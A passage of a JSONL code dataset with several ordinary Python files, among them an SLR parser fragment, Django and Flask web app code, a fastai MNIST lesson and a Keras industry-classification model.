while i < len(self.canonical):\n symbols = self.get_symbols(self.canonical[i])\n for symbol in symbols:\n new_state = self.goto(self.canonical[i], symbol)\n if not new_state: continue\n if new_state not in self.canonical: self.canonical += [new_state]\n self.gotos[(i, symbol)] = self.canonical.index(new_state)\n i += 1\n\n def init_table(self):\n for i in range(len(self.canonical)):\n index = \"I_%d\" % i\n self.table[index] = {}\n for t in self.terminals: self.table[index][t] = [\"Error\"]\n for n in self.non_terminals: self.table[index][n] = [\"Error\"]\n self.table[index][\"EOF\"] = [\"Error\"]\n\n def build_SLR_table(self):\n self.init_table()\n\n # RULE: S' = S .\n closure_set = self.canonical[self.gotos[(0, self.grammar['S'])]] # goto(I_0, S)\n self.table[\"I_%d\" % self.canonical.index(closure_set)][\"EOF\"] = [\"Accepted\"]\n if ['e'] in self.grammar[self.grammar['S']]: self.table[\"I_0\"][\"EOF\"] = [\"Accepted\"]\n\n # RULE: goto(state, symbol) [symbol = terminals U nonTerminals]\n for state, symbol in sorted(self.gotos):\n index = \"I_%d\" % state\n if self.table[index][symbol] != [\"Error\"]: self.ambiguity += [\"Duplication on %s %s\" % (str(index), str(symbol))]\n self.table[index][symbol] = [(\"s\" if symbol in self.terminals else \"\") + str(self.gotos[(state, symbol)])]\n\n # RULE: A = alpha .\n for i in range(len(self.canonical)):\n index = \"I_%d\" % i\n for dot, production in self.canonical[i]:\n n, production = production[0], production[2]\n if n == \"S'\": continue\n if dot >= len(production):\n for f in self.grammar_follow[n]:\n if self.table[index][f] != [\"Error\"]: self.ambiguity += [\"Duplication on %s %s from %s to r%d %s %s\" % (str(index), str(f), str(self.table[index][f]), self.grammar[n].index([*production]), str(production), str(n))]\n self.table[index][f] = [\"r%d\" % self.grammar[n].index([*production]), n]\n\n def actual_token(self):\n return '\\'' + self.token.category.name + '\\'' if self.token else \"EOF\"\n\n def next_token(self):\n if ALCINO and self.token is not None: print(self.token)\n prev = (self.token.category.name, self.token.value) if self.token else None\n self.token = self.lexicalAnalyzer.next_token()\n if self.token is not None: self.tokens += [self.token]\n return prev\n\n def parse(self):\n stack = [[0, \"\"]]\n while (stack):\n if LIVE: print(stack)\n self.stack_history += [stack.copy()]\n\n state, symbol = stack[len(stack) - 1]\n action = self.table[\"I_%d\" % state][self.actual_token()]\n\n if action[0] == \"Error\": return(False)\n if action[0] == \"Accepted\": return(True)\n\n if action[0][0] == 's': # stacks\n stack += [[int(action[0][1:]), self.next_token()]]\n elif action[0][0] == 'r': # redecuts\n n = action[1] # gets non_terminal\n production = self.grammar[n][int(action[0][1:])]\n now = []\n for i in range(len(production)):\n state, symbol = stack.pop(len(stack) - 1)\n now = [symbol] + now\n if ALCINO: print(\" \"*13, n, \"=\", now)\n self.tree = [now] + self.tree\n state, symbol = stack[len(stack) - 1]\n trasition = int(self.table[\"I_%d\" % state][n][0])\n stack += [[trasition, n]]\n\n def analyse(self):\n self.build_canonical()\n self.build_SLR_table()\n try:\n self.verdict = self.parse()\n except KeyError as e:\n print(\"Syntatic Analysis failed because of unknown token:\", e)\n return self.verdict\n","repo_name":"The-Compiler-Network/TCNPL","sub_path":"SyntacticAnalyzer/analyzer/SLRParser.py","file_name":"SLRParser.py","file_ext":"py","file_size_in_byte":14908,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"7661221441","text":"\"\"\"\nA utility module for dealing with the backing database for serialized objects (LevelDB).\n\"\"\"\n\nimport os\nfrom contextlib import contextmanager\n\n\ndef is_plyvel_installed() -> bool:\n \"\"\"\n Tests if the plyvel LevelDB driver is currently installed.\n :return: True if so, false if otherwise.\n \"\"\"\n try:\n import plyvel\n return True\n except:\n return False\n\n\n@contextmanager\ndef open_db(loc: str) -> 'plyvel.DB':\n \"\"\"\n Creates a managed LevelDB handle (use the 'with' statement!).\n :param loc: The directory of the database.\n :return: The database.\n \"\"\"\n import plyvel\n from filelock import FileLock\n\n if not os.path.exists(loc):\n os.mkdir(loc)\n\n lock = FileLock(os.path.join(loc, \"LOCK.lock\"))\n with lock:\n db = plyvel.DB(loc, create_if_missing=True)\n yield db\n db.close()\n\n\n@contextmanager\ndef open_prefixed_db(loc: str, prefix: bytes) -> 'plyvel.DB':\n \"\"\"\n Creates a managed LevelDB handle (use the 'with' statement!).\n :param loc: The directory of the database.\n :param prefix: The prefix for objects inserted.\n :return: The database.\n \"\"\"\n with open_db(loc) as db:\n yield db.prefixed_db(prefix)\n","repo_name":"austinv11/pypeline","sub_path":"pypeline/_db.py","file_name":"_db.py","file_ext":"py","file_size_in_byte":1220,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"26381205821","text":"from django.conf import settings\n\nfrom users.models import User\nfrom django.db import models\n\nNULLABLE = {'blank': True, 'null': True}\n\n\nclass Category(models.Model):\n name = models.CharField(max_length=100, verbose_name='Наименование')\n discription = models.TextField(verbose_name='Описание')\n\n def __str__(self):\n return f'{self.name} {self.discription}'\n\n class Meta:\n verbose_name = 'категория'\n verbose_name_plural = 'категории'\n\n\nclass Product(models.Model):\n name = models.CharField(max_length=100, verbose_name='Наименование')\n discription = models.TextField(max_length=200, verbose_name='Описание продукта')\n picture = models.ImageField(upload_to='pics/', **NULLABLE, verbose_name='Изображение')\n category = models.ForeignKey(Category, on_delete=models.CASCADE,verbose_name='категория продукта')\n price_for_buy = models.IntegerField(verbose_name='цена за покупку')\n data_create = models.DateTimeField(auto_now_add=True, blank=True, verbose_name='дата создания')\n last_modified_date = models.DateTimeField(auto_now=True, blank=True,\n verbose_name='дата последнего изменения') # c установкой при изменении\n phone = models.CharField(max_length=11, verbose_name='Телефон', **NULLABLE)\n user = models.ForeignKey(settings.AUTH_USER_MODEL, on_delete=models.SET_NULL, **NULLABLE, verbose_name='user')\n\n def __str__(self):\n return f'{self.name}{self.discription}'\n\n class Meta:\n verbose_name = 'продукт'\n verbose_name_plural = 'продукты'\n\n\nclass Version(models.Model):\n # product = models.ManyToManyField(Product, related_name='versions', blank=True)\n product = models.ForeignKey(Product, related_name='versions', on_delete=models.CASCADE, **NULLABLE)\n number_version = models.IntegerField(verbose_name='номер версии')\n name_version = models.CharField(max_length=100, verbose_name='название версии')\n flag_of_the_current_version = models.BooleanField(default=False, verbose_name='признак текущей версии')\n\n def __str__(self):\n return f'{self.name_version}'\n\n class Meta:\n verbose_name = 'версия'\n verbose_name_plural = 'версии'\n","repo_name":"djKeysi/catalog","sub_path":"main/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2446,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"15182211179","text":"X, Y = [int(_) for _ in input().split()]\r\n\r\ncache = {}\r\n\r\ndef calc(X, Y):\r\n if X < Y:\r\n X, Y = Y, X\r\n def cal(X, Y):\r\n if X <= 1:\r\n return False\r\n for n in range(1, X // 2 + 1):\r\n if calc(X - n * 2, Y + n) == False:\r\n return True\r\n for n in range(1, Y // 2 + 1):\r\n if calc(X + n, Y - n * 2) == False:\r\n return True\r\n return False\r\n k = (X, Y)\r\n if k in cache:\r\n return cache[k]\r\n r = cal(X, Y)\r\n cache[k] = r\r\n return r\r\n\r\ndef calc1(X, Y):\r\n if abs(X - Y) < 2:\r\n return False\r\n return True\r\n\r\nif calc1(X, Y):\r\n print(\"Alice\")\r\nelse:\r\n print(\"Brown\")","repo_name":"Kawser-nerd/CLCDSA","sub_path":"Source Codes/AtCoder/arc072/B/3058362.py","file_name":"3058362.py","file_ext":"py","file_size_in_byte":694,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"72"}
+{"seq_id":"70169061993","text":"# ---\n# jupyter:\n# jupytext:\n# formats: ipynb,py\n# split_at_heading: true\n# text_representation:\n# extension: .py\n# format_name: light\n# format_version: '1.5'\n# jupytext_version: 1.6.0\n# kernelspec:\n# display_name: Python 3\n# language: python\n# name: python3\n# ---\n\n# %matplotlib inline\nfrom fastai.callback.all import *\nfrom torch.utils.data import TensorDataset\nfrom fastai.basics import *\nimport gzip\n\n# ## MNIST SGD\n\n# Get the 'pickled' MNIST dataset from http://deeplearning.net/data/mnist/mnist.pkl.gz. We're going to treat it as a standard flat dataset with fully connected layers, rather than using a CNN.\n\npath = Config().data / 'mnist'\n\npath.ls()\n\nwith gzip.open(path / 'mnist.pkl.gz', 'rb') as f:\n ((x_train, y_train), (x_valid, y_valid), _) = pickle.load(f, encoding='latin-1')\n\nplt.imshow(x_train[0].reshape((28, 28)), cmap=\"gray\")\nx_train.shape\n\nx_train, y_train, x_valid, y_valid = map(torch.tensor, (x_train, y_train, x_valid, y_valid))\nn, c = x_train.shape\nx_train.shape, y_train.min(), y_train.max()\n\n# In lesson2-sgd we did these things ourselves:\n#\n# ```python\n# x = torch.ones(n,2)\n# def mse(y_hat, y): return ((y_hat-y)**2).mean()\n# y_hat = x@a\n# ```\n#\n# Now instead we'll use PyTorch's functions to do it for us, and also to handle mini-batches (which we didn't do last time, since our dataset was so small).\n\n\nbs = 64\ntrain_ds = TensorDataset(x_train, y_train)\nvalid_ds = TensorDataset(x_valid, y_valid)\ntrain_dl = TfmdDL(train_ds, bs=bs, shuffle=True)\nvalid_dl = TfmdDL(valid_ds, bs=2 * bs)\ndls = DataLoaders(train_dl, valid_dl)\n\nx, y = dls.one_batch()\nx.shape, y.shape\n\n\nclass Mnist_Logistic(Module):\n def __init__(self): self.lin = nn.Linear(784, 10, bias=True)\n def forward(self, xb): return self.lin(xb)\n\n\nmodel = Mnist_Logistic().cuda()\n\nmodel\n\nmodel.lin\n\nmodel(x).shape\n\n[p.shape for p in model.parameters()]\n\nlr = 2e-2\n\nloss_func = nn.CrossEntropyLoss()\n\n\ndef update(x, y, lr):\n wd = 1e-5\n y_hat = model(x)\n # weight decay\n w2 = 0.\n for p in model.parameters():\n w2 += (p**2).sum()\n # add to regular loss\n loss = loss_func(y_hat, y) + w2 * wd\n loss.backward()\n with torch.no_grad():\n for p in model.parameters():\n p.sub_(lr * p.grad)\n p.grad.zero_()\n return loss.item()\n\n\nlosses = [update(x, y, lr) for x, y in dls.train]\n\nplt.plot(losses)\n\n\nclass Mnist_NN(Module):\n def __init__(self):\n self.lin1 = nn.Linear(784, 50, bias=True)\n self.lin2 = nn.Linear(50, 10, bias=True)\n\n def forward(self, xb):\n x = self.lin1(xb)\n x = F.relu(x)\n return self.lin2(x)\n\n\nmodel = Mnist_NN().cuda()\n\nlosses = [update(x, y, lr) for x, y in dls.train]\n\nplt.plot(losses)\n\nmodel = Mnist_NN().cuda()\n\n\ndef update(x, y, lr):\n opt = torch.optim.Adam(model.parameters(), lr)\n y_hat = model(x)\n loss = loss_func(y_hat, y)\n loss.backward()\n opt.step()\n opt.zero_grad()\n return loss.item()\n\n\nlosses = [update(x, y, 1e-3) for x, y in dls.train]\n\nplt.plot(losses)\n\nlearn = Learner(dls, Mnist_NN(), loss_func=loss_func, metrics=accuracy)\n\n\nlearn.lr_find()\n\nlearn.fit_one_cycle(1, 1e-2)\n\nlearn.recorder.plot_sched()\n\nlearn.recorder.plot_loss()\n\n# ## fin\n","repo_name":"huangyingw/fastai_fastai","sub_path":"dev_nbs/course/lesson5-sgd-mnist.py","file_name":"lesson5-sgd-mnist.py","file_ext":"py","file_size_in_byte":3241,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"}
+{"seq_id":"13207514547","text":"# 导入随机数模块\nimport random\n# 导入蓝图对象\nfrom flask import Blueprint,g,current_app,jsonify\n# 导入flask-restful扩展\nfrom flask_restful import Api,Resource\n\n# 导入登录验证装饰器\nfrom lib.decoraters import login_required\n# 导入模型类书架\nfrom models import BookShelf,Book,db,User,BookChapters,ReadRate\n\n# 书架\n# 创建蓝图对象\nmybooks_bp = Blueprint('mybook',__name__)\n\napi = Api(mybooks_bp)\n\nclass MyBooksListResource(Resource):\n \"\"\"\n 书架列表\n \"\"\"\n method_decorators = [login_required]\n\n def get(self):\n # 1.添加登录验证装饰器\n user_id = g.user_id\n # 2.默认查询书架中的所有书籍数据,排序\n try:\n mybooks = BookShelf.query.filter_by(user_id=user_id).order_by(BookShelf.created.desc()).all()\n except Exception as e:\n current_app.logger.error(e)\n return {'msg':'数据库查询错误'},500\n # 定义临时列表,存储数据\n data = []\n # 3.判断查询结果\n if not mybooks:\n # 如果书架没有书籍,随机挑选5本书籍,存入书架中\n try:\n books = Book.query.all()\n except Exception as e:\n current_app.logger.error(e)\n return {'msg':'数据库查询错误'},500\n books_list = random.sample(books,5)\n for bk in books_list:\n book_shelf = BookShelf(\n user_id=user_id,\n book_id=bk.book_id,\n book_name=bk.book_name,\n cover=bk.cover\n )\n # 提交数据\n db.session.add(book_shelf)\n # 添加的七牛云存储的图片的绝对路径:七牛云的空间域名+七牛云存储的图片名称\n data.append({\n 'id':bk.book_id,\n 'imgURL':'http://{}/{}'.format(current_app.config['QINIU_SETTINGS']['host'],bk.cover),\n 'title':bk.book_name\n })\n try:\n db.session.commit()\n except Exception as e:\n current_app.logger.error(e)\n return {'msg':'数据库错误'},500\n return {'msg':data}\n # 如果书架中有书籍数据,遍历书籍数据,获取每本书的数据\n else:\n for bk in mybooks:\n data.append({\n 'id':bk.book_id,\n 'imgURL':'http://{}/{}'.format(current_app.config['QINIU_SETTINGS']['host'],bk.cover),\n 'title':bk.book_name\n })\n # 4.返回书籍数据\n return {'msg':data}\n\nclass BookShelfManageResource(Resource):\n \"\"\"\n 书架管理:\n 添加书籍、删除书籍\n \"\"\"\n method_decorators = [login_required]\n\n def post(self,book_id):\n \"\"\"\n book_id:url固定参数,必须作为视图参数直接传入,Flask中使用转换器进行处理,默认的数据类型是str;\n :return:\n \"\"\"\n # 1.添加登录验证装饰器\n user_id = g.user_id\n # 2.接收参数,书籍id\n # 3.根据书籍id,查询书籍表,确认数据的存在\n try:\n book = Book.query.filter(Book.book_id==book_id).first()\n except Exception as e:\n current_app.logger.error(e)\n return {'msg':'数据库查询错误'},500\n # 确认查询结果\n if not book:\n return {'msg':'书籍不存在'},404\n # 4.查询书架表,确认该书在书架中是否存在\n try:\n book_shelf = BookShelf.query.filter(BookShelf.user_id==user_id,BookShelf.book_id==book_id).first()\n except Exception as e:\n current_app.logger.error(e)\n return {'msg':'数据库查询错误'},500\n # 判断书架的查询结果\n if not book_shelf:\n # 5.如果书架中不存在,添加书籍\n bk_shelf = BookShelf(\n user_id=user_id,\n book_id=book.book_id,\n book_name=book.book_name,\n cover=book.cover\n )\n db.session.add(bk_shelf)\n try:\n db.session.commit()\n except Exception as e:\n current_app.logger.error(e)\n return {'msg':'数据库错误'},500\n # 返回添加成功的信息\n return {'msg':'添加成功'}\n else:# 否则,书架中该书籍已经存在\n return {'msg':'书架中该书籍已经存在'},400\n\n def delete(self,book_id):\n user_id = g.user_id\n # - 2.接收参数,书籍id\n try:\n bk_shelf = BookShelf.query.filter_by(user_id=user_id, book_id=book_id).first()\n except Exception as e:\n current_app.logger.error(e)\n return {'msg':'数据库查询错误'},500\n # - 3.根据书籍id,查询书籍表,确认数据的存在\n if not bk_shelf:\n return jsonify(msg='该书籍在书架中不存在'), 400\n # - 4.删除书籍\n db.session.delete(bk_shelf)\n try:\n db.session.commit()\n except Exception as e:\n current_app.logger.error(e)\n return {'msg':'数据库错误'},500\n return {'msg':'删除成功'}\n\n\nclass BookLastReadResource(Resource):\n \"\"\"\n 书架管理:最后阅读\n \"\"\"\n method_decorators = [login_required]\n\n def get(self):\n # 1.使用登录验证装饰器,获取用户信息\n user_id = g.user_id\n try:\n user = User.query.get(user_id)\n except Exception as e:\n current_app.logger.error(e)\n return {'msg':'数据库查询错误'},500\n read_rate = None\n # 2.判断用户没有阅读书籍\n if not user.last_read:\n # 3.如果用户没有阅读,默认查询第一本书籍,当做用户的阅读书籍\n # -----也可以查询书架的第一本书\n book = Book.query.first()\n # 保存用户的阅读书籍的id\n user.last_read = book.book_id\n # 4.查询该书籍的章节信息,默认升序排序,\n try:\n bk_chapter = BookChapters.query.filter_by(book_id=book.book_id).order_by(BookChapters.chapter_id.asc()).first()\n except Exception as e:\n current_app.logger.error(e)\n return {'msg':'数据库查询错误'},500\n # 保存用户的阅读书籍的章节信息\n user.last_read_chapter_id = bk_chapter.chapter_id\n # - 把查询结果,存入阅读进度表\n read_rate = ReadRate(\n user_id=user.id,\n book_id=book.book_id,\n chapter_id=bk_chapter.chapter_id,\n chapter_name=bk_chapter.chapter_name\n )\n # 保存数据\n db.session.add(read_rate)\n db.session.add(user)\n # 保存两个对象,参数必须列表\n # db.session.add_all([read_rate,user])\n try:\n db.session.commit()\n except Exception as e:\n current_app.logger.error(e)\n return {'msg':'数据库错误'},500\n # 5.如果用户阅读书籍,查询用户阅读的书籍\n else:\n try:\n book = Book.query.get(user.last_read)\n except Exception as e:\n current_app.logger.error(e)\n return {'msg':'数据库查询错误'},500\n # 6.判断是否有阅读进度,如果没有,查询阅读进度表\n if not read_rate:\n try:\n read_rate = ReadRate.query.filter_by(\n user_id=user.id,\n book_id=book.book_id,\n chapter_id=user.last_read_chapter_id\n ).first()\n except Exception as e:\n current_app.logger.error(e)\n return {'msg':'数据库查询错误'},500\n\n # 7.返回查询结果\n data = {\n 'id':book.book_id,\n 'title':book.book_name,\n 'chapter':read_rate.chapter_name,\n 'progress':read_rate.rate,\n 'imgURL':'http://{}/{}'.format(current_app.config['QINIU_SETTINGS']['host'],book.cover)\n }\n # 转成json格式返回数据\n return data\n\n\n# 给类视图添加路由\napi.add_resource(MyBooksListResource,'/mybooks')\napi.add_resource(BookShelfManageResource,'/mybooks/')\napi.add_resource(BookLastReadResource,'/mybooks/last')","repo_name":"lisa530/wenxue-backend","sub_path":"applet_app/mybooks.py","file_name":"mybooks.py","file_ext":"py","file_size_in_byte":8651,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"7803834571","text":"from tkinter import Tk\nfrom tkinter import mainloop\nfrom tkinter import Label\nfrom tkinter import Button\n\nwindow = Tk()\nLabel(window,text='Hello',font=28,foreground='white',background='blue').pack()\nLabel(window,text='Welcome to this application',font=28,foreground='white',background='blue').pack()\nwindow.resizable(height=False,width=False)\ndef go_to_activity():\n print('hello')\n\nbtn = Button(window)\nbtn.configure(text='go to original activity',background='red',foreground='white',command=go_to_activity)\nbtn.pack()\nwindow.minsize(500,500)\nwindow.mainloop()","repo_name":"elman8787/live-emotion-detection","sub_path":"gui.py","file_name":"gui.py","file_ext":"py","file_size_in_byte":563,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"40675524189","text":"from cwsimpy import Model\nimport json\nimport base64\n\nif __name__ == \"__main__\":\n RPC_URL = \"http://5.9.66.60:26657\"\n FACTORY_ADDR = \"terra1466nf3zuxpya8q9emxukd7vftaf6h4psr0a07srl5zw74zh84yjqxl5qul\"\n ROUTER_ADDR = \"terra13ehuhysn5mqjeaheeuew2gjs785f6k7jm8vfsqg3jhtpkwppcmzqcu7chk\"\n m = Model(RPC_URL, 2540362, \"terra\")\n msg = json.dumps(\n {\n \"pairs\": {\n \"start_after\": None,\n \"limit\": None,\n }\n }\n ).encode()\n res = m.wasm_query(FACTORY_ADDR, msg)\n print(bytearray(res).decode(\"utf-8\"))\n","repo_name":"dream-academy/cosmwasm-simulate","sub_path":"python-bindings/tests/test_mainnet.py","file_name":"test_mainnet.py","file_ext":"py","file_size_in_byte":577,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"72"}
+{"seq_id":"29977972542","text":"\"\"\"techtracking URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/1.11/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.conf.urls import url, include\n 2. Add a URL to urlpatterns: url(r'^blog/', include('blog.urls'))\n\"\"\"\nfrom django.conf.urls import url, include\nfrom django.contrib import admin\n\nimport checkout.views\n\nurlpatterns = [\n url(r'^$', checkout.views.index, name='index'),\n url(r'^week/(?P[0-9]+)$', checkout.views.week_schedule, name='schedule'),\n url(r'^request/', checkout.views.reserve_request, name='reserve_request'),\n url(r'^reserve/', checkout.views.reserve, name='reserve'),\n url(r'^reservations/', checkout.views.reservations, name='reservations'),\n url(r'^movements/(?P[0-9]+)$', checkout.views.week_movements, name='movements'),\n url(r'^movements/', checkout.views.movements, name='movements'),\n url(r'^delete/', checkout.views.delete, name='delete'),\n url(r'^export/', checkout.views.export, name='export'),\n url(r'^change_site/', checkout.views.change_site, name='change_site'),\n url(r'^admin/', admin.site.urls),\n url(r'^accounts/', include('django.contrib.auth.urls')),\n]\n","repo_name":"raghavsethi/techtracking","sub_path":"techtracking/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1587,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"}
+{"seq_id":"35461182456","text":"# -*- coding: UTF-8 -*-\n\"\"\"\nThis module creates model object.\n\"\"\"\nimport os\nimport logging\nimport numpy as np\nfrom subprocess import Popen, PIPE\nfrom .utils import log_config, setup_logging\nfrom industryguesser import PARENT_DIR, ind_cutoff\nfrom sklearn.model_selection import train_test_split\nimport tensorflow.keras.backend as K\nfrom tensorflow.keras.models import Sequential\nfrom tensorflow.keras.models import model_from_json\nfrom tensorflow.keras.callbacks import ModelCheckpoint, EarlyStopping, History\nfrom tensorflow.keras.layers import Embedding, Conv1D, Dense, MaxPooling1D, Dropout, Flatten\nfrom .encoder import KerasBatchGenerator, CompanyEncoder, IndustryEncoder\n\n\nsetup_logging(log_config)\nlogger = logging.getLogger(__name__)\n\n\nclass SimpleCNN(object):\n \"\"\" Simple CNN model. \"\"\"\n _classifier_weights_file_name = 'model_weights.h5'\n _classifier_graph_file_name = 'model_graph.json'\n _classifier_weights_next_name = 'model_weights_next.h5'\n _classifier_graph_next_name = 'graph_next.json'\n _classifier_weights_path = os.path.join(PARENT_DIR, 'industryguesser/models', _classifier_weights_file_name)\n _classifier_graph_path = os.path.join(PARENT_DIR, 'industryguesser/models', _classifier_graph_file_name)\n _classifier_weights_next_path = os.path.join(PARENT_DIR, 'industryguesser/models', _classifier_weights_next_name)\n _classifier_graph_next_path = os.path.join(PARENT_DIR, 'industryguesser/models', _classifier_graph_next_name)\n\n def __init__(self, lower=True, pad_size=18, padding='post', embedding_size=256, filters=128,\n kernel_size=3, pool_size=3, cnn_dropout=0.2, optimizer='adam', loss='binary_crossentropy',\n metrics=None):\n self._pad_size = pad_size\n self._embedding_size = embedding_size\n self._filters = filters\n self._kernel_size = kernel_size\n self._pool_size = pool_size\n self._cnn_dropout = cnn_dropout\n self._optimizer = optimizer\n self._loss = loss\n self._metrics = metrics if metrics else ['accuracy']\n self._com_encoder = CompanyEncoder(lower, pad_size, padding)\n self._vocab_size = None\n self._ind_encoder = IndustryEncoder()\n self._model = None\n\n def _encode_company(self, companies, fit=False):\n \"\"\" Encode the input companies with IndustryEncoder. \"\"\"\n if fit:\n self._com_encoder.fit(companies)\n encoded_companies = self._com_encoder.encode(companies)\n self._vocab_size = self._com_encoder.vocab_size\n\n return encoded_companies\n\n def _encode_industry(self, industries, fit=False):\n \"\"\" Encode the input industries with IndustryEncoder. \"\"\"\n if fit:\n self._ind_encoder.fit(industries)\n\n encoded_industries = self._ind_encoder.encode(industries)\n\n return encoded_industries\n\n def train(self, companies, industries, split_rate=0.2, batch_size=128, patience=5,\n model_weight_path=_classifier_weights_path, model_graph_path=_classifier_graph_path,\n save_best_only=True, save_weights_only=True, epochs=100):\n \"\"\" Train the LSTM model. \"\"\"\n companies = self._encode_company(companies, True)\n industries = self._encode_industry(industries, True)\n X_train, X_valid, y_train, y_valid = train_test_split(companies, industries, test_size=split_rate)\n valid_batch_size = min(batch_size, len(X_valid) // 3)\n train_gtr = KerasBatchGenerator(X_train, y_train, batch_size)\n valid_gtr = KerasBatchGenerator(X_valid, y_valid, valid_batch_size)\n\n earlystop = EarlyStopping(patience=patience)\n checkpoint = ModelCheckpoint(model_weight_path, save_best_only=save_best_only,\n save_weights_only=save_weights_only)\n history = History()\n\n model = Sequential()\n model.add(Embedding(input_dim=self._vocab_size, output_dim=self._embedding_size, input_length=self._pad_size))\n model.add(Conv1D(self._filters, self._kernel_size, activation='relu'))\n model.add(MaxPooling1D(self._pool_size))\n model.add(Dropout(rate=self._cnn_dropout))\n model.add(Flatten())\n model.add(Dense(self._ind_encoder.class_size, activation='sigmoid'))\n model.compile(optimizer=self._optimizer, loss=self._loss, metrics=self._metrics)\n\n model.fit_generator(train_gtr.generate(), len(X_train) // batch_size, epochs=epochs,\n validation_data=valid_gtr.generate(), validation_steps=len(X_valid) // valid_batch_size,\n callbacks=[earlystop, checkpoint, history])\n for epoch in np.arange(0, len(model.history.history['loss'])):\n logger.info(f\"Epoch={epoch + 1}, \"\n f\"{', '.join(f'{key}={value[epoch]}' for key, value in model.history.history.items())}\")\n\n # Save the model structure.\n with open(model_graph_path, 'w') as f:\n f.write(model.to_json())\n\n # Load the trained model.\n self._model = model\n\n def load(self, model_weights_path=_classifier_weights_path, model_graph_path=_classifier_graph_path):\n \"\"\" Load the existing master model. \"\"\"\n K.clear_session()\n with open(model_graph_path, 'r') as f:\n model_graph = f.read()\n self._model = model_from_json(model_graph)\n self._model.load_weights(model_weights_path)\n\n def update(self, companies, industries, split_rate=0.2, batch_size=64, patience=1,\n model_weights_next_path=_classifier_weights_next_path, model_graph_next_path=_classifier_graph_next_path,\n save_best_only=True, save_weights_only=True, epochs=2):\n \"\"\" This function keep the original model, update the model and save it as default model. \"\"\"\n companies = self._encode_company(companies)\n industries = self._encode_industry(industries)\n X_train, X_valid, y_train, y_valid = train_test_split(companies, industries, test_size=split_rate)\n valid_batch_size = min(batch_size, len(X_valid) // 3)\n train_gtr = KerasBatchGenerator(X_train, y_train, batch_size)\n valid_gtr = KerasBatchGenerator(X_valid, y_valid, valid_batch_size)\n\n earlystop = EarlyStopping(patience=patience)\n checkpoint = ModelCheckpoint(model_weights_next_path, save_best_only=save_best_only,\n save_weights_only=save_weights_only)\n history = History()\n\n if not self._model:\n self.load()\n\n self._model.fit_generator(train_gtr.generate(), len(X_train) // batch_size, epochs=epochs,\n validation_data=valid_gtr.generate(), validation_steps=len(X_valid) // valid_batch_size,\n callbacks=[earlystop, checkpoint, history])\n for epoch in np.arange(0, len(self._model.history.history['loss'])):\n logger.info(f\"Epoch={epoch + 1}, \"\n f\"{', '.join(f'{key}={value[epoch]}' for key, value in self._model.history.history.items())}\")\n\n # Save the model structure.\n with open(model_graph_next_path, 'w') as f:\n f.write(self._model.to_json())\n\n def overwrite(self):\n \"\"\"This function copy the next model version to overwrite the current version.\"\"\"\n move_file = Popen(f'cp {self._classifier_weights_next_path} {self._classifier_weights_path}; '\n f'cp {self._classifier_graph_next_path} {self._classifier_graph_path}',\n shell=True, stdout=PIPE, executable='/bin/bash')\n move_file.communicate()\n\n def predict(self, companies, return_prob=False, cutoff=ind_cutoff):\n \"\"\" This function predicts the industries with given companies. \"\"\"\n if not self._model:\n self.load()\n companies = self._encode_company(companies)\n y_pred_prob = self._model.predict(companies)\n y_pred_prob_max = np.max(y_pred_prob, axis=1)\n y_pred_class = np.argmax(y_pred_prob, axis=1)\n y_pred_class = self._ind_encoder.decode(y_pred_class)\n y_pred_class = np.where(y_pred_prob_max >= cutoff, y_pred_class, None)\n if return_prob:\n return [{'industry': pred, 'prob': [{key: value} for key, value in zip(self._ind_encoder.classes, prob)]}\n for pred, prob in zip(y_pred_class, y_pred_prob)]\n else:\n return y_pred_class.tolist()\n\n\nclass IndustryModel(object):\n \"\"\" Character-based bi-directional LSTM model. \"\"\"\n _classifier_weights_file_name = 'model_weights.h5'\n _classifier_graph_file_name = 'model_graph.json'\n _classifier_weights_path = os.path.join(PARENT_DIR, 'industryguesser/models', _classifier_weights_file_name)\n _classifier_graph_path = os.path.join(PARENT_DIR, 'industryguesser/models', _classifier_graph_file_name)\n\n def __init__(self):\n self._com_encoder = CompanyEncoder(lower=True, pad_size=18, padding='post')\n self._ind_encoder = IndustryEncoder()\n\n def _encode_company(self, companies, fit=False):\n \"\"\" Encode the input companies with CompanyEncoder. \"\"\"\n if fit:\n self._com_encoder.fit(companies)\n encoded_companies = self._com_encoder.encode(companies)\n\n return encoded_companies\n\n @classmethod\n def load(cls):\n K.clear_session()\n with open(cls._classifier_graph_path, 'r') as f:\n model_graph = f.read()\n model = model_from_json(model_graph)\n model.load_weights(cls._classifier_weights_path)\n return model\n\n def predict(self, model, companies, return_prob=False, cutoff=ind_cutoff):\n \"\"\" This function predicts the industry with given companies. \"\"\"\n companies = self._encode_company(companies)\n y_pred_prob = model.predict(companies)\n y_pred_prob_max = np.max(y_pred_prob, axis=1)\n y_pred_class = np.argmax(y_pred_prob, axis=1)\n y_pred_class = self._ind_encoder.decode(y_pred_class)\n y_pred_class = np.where(y_pred_prob_max >= cutoff, y_pred_class, None)\n if return_prob:\n return [{'industry': pred, 'prob': [{key: value} for key, value in zip(self._ind_encoder.classes, prob)]}\n for pred, prob in zip(y_pred_class, y_pred_prob)]\n else:\n return y_pred_class.tolist()\n","repo_name":"yangzhengzhiroy/IndustryGuesser","sub_path":"industryguesser/classifier.py","file_name":"classifier.py","file_ext":"py","file_size_in_byte":10340,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
